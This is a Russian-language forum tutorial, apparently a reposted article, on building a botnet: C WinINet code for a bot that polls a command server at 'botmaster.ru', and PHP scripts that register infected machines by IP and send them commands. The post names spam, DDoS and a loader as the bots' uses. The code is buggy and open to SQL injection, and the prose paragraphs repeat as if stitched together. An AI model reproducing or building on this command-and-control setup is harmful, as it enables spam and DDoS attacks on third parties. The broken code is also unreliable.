Нашёл небольшую статейку по данной теме.Тем,кто начал осваивать php и хочет написать на этом языке что то вроде админки по управленю ботами,думаю будет полезно.
Сейчас я расскажу как можно написать бота и управлять ими в последствии раздельно из админки на php.
Такс, начнем с бота:
Он будет иметь некий функционал - спам, ддос, лоадер. Неважно. Это не самое главное. Главное то, что он должен получать что-то из админки - адреса для спама, ip жертвы для ддоса и т.д.
И тем более чтоб нам было удобнее уметь работать с каждым ботом в отдельности.
Это простая процедура для захода бота на сайт и получения команды по его ip(я так сделал т.к. это проще всего, но можно передавать скрипту например id какой-нить железки в компе и тогда будешь точно знать что боты все разные и команду получит один бот, а не все которые имеют этот ip)
После выполнения этой процедуры бот зайдет на скрипт и запишет то, что скрипт выдаcт в buffer. С которым можно потом проводить всякие манипуляции.
Теперь напишем простенький управляющий скрипт:
МЫ будем держать все комманды и ip ботов в БД. Надо создать
таблицу stat и в ней 2 поля REMOTE_ADDR и command.
Сам скрипт добавления в БД новых ботов
Так в БД его записали. Теперь надо ему пердать команды. Это делается так:
Ну чтож теперь выведем боту эти команды:
Ну вот и все. Это самая простая реализация.
Сейчас я расскажу как можно написать бота и управлять ими в последствии раздельно из админки на php.
Такс, начнем с бота:
Он будет иметь некий функционал - спам, ддос, лоадер. Неважно. Это не самое главное. Главное то, что он должен получать что-то из админки - адреса для спама, ip жертвы для ддоса и т.д.
И тем более чтоб нам было удобнее уметь работать с каждым ботом в отдельности.
Это простая процедура для захода бота на сайт и получения команды по его ip(я так сделал т.к. это проще всего, но можно передавать скрипту например id какой-нить железки в компе и тогда будешь точно знать что боты все разные и команду получит один бот, а не все которые имеют этот ip)
Код:
void main ()
{
char buffer;
DWORD dReadFileCount;
HINTERNET session = InternetOpen(LPCSTR("IE"), INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
HINTERNET hConnect= InternetConnect(session,"botmaster.ru",INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
DWORD lpThreadId;
LPCTSTR AcceptTypes[] = { TEXT("*/*"), NULL};
char hdrs[] =TEXT(
"Content-Type: application/x-www-form-urlencoded\r\n"
"Accept-Language:ru\r\n"
"Accept-Encoding:gzip, deflate");
char frmdata[] ="os";
char wer[] = {TEXT("stat/command.php)};
HINTERNET hRequest = HttpOpenRequest(hConnect, TEXT("GET"),wer,NULL,NULL,(LPCSTR *)"*/*", INTERNET_FLAG_KEEP_CONNECTION, 1);
HttpSendRequest(hRequest, hdrs, strlen(hdrs), frmdata, strlen(frmdata));
dReadFileCount = 0;
do {
InternetReadFile (hRequest, (LPVOID)buffer, FILE_BUFFER_SIZE, &dReadFileCount);
}while (dReadFileCount);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(session);
}
Теперь напишем простенький управляющий скрипт:
МЫ будем держать все комманды и ip ботов в БД. Надо создать
таблицу stat и в ней 2 поля REMOTE_ADDR и command.
Сам скрипт добавления в БД новых ботов
Код:
<?php
include "connect.php";// думаю скрипт соединеия с БД вы напишите
$ip=getenv('REMOTE_ADDR');
$result = mysql_query("SELECT REMOTE_ADDR FROM stat");
while ($bot_ip = mysql_fetch_array ($result))
{
if ($bot_ip['REMOTE_ADDR']==$ip) // если бот с таким ip есть то ничего не делаем
{
$int=1;
}
}
if ($int<>1){ // иначе записуем его в БД
$result = mysql_query("INSERT INTO stat(REMOTE_ADDR) VALUES('$ip')");
}
mysql_close($link);
?>
Код:
<form action="loadexe.php" method="post">
<input type="text" name="command" value="">
IP Бота ->
<input type="text" name="ip" SIZE="20" value="">
<input type="submit" value="Дать команду">
</form>
<?
include "connect.php";
$ip = substr($HTTP_POST_VARS["ip"],0,70);
$command = substr($HTTP_POST_VARS["command"],0,64);
$res=mysql_query("UPDATE stat SET command='$command' WHERE REMOTE_ADDR=$ip");
if(!res)
{echo " mysql_error()";}
mysql_close($link);
?>
Код:
<?php
include "connect.php";
$ip=getenv("REMOTE_ADDR");
$result= mysql_query("SELECT command FROM stat WHERE REMOTE_ADDR='$ip'");
if (!$result)
{
echo mysql_error();
}
$bot=mysql_fetch_array($result);
echo $bot['loadExe'];// выводим на страничку команду боту
mysql_close($link);
?>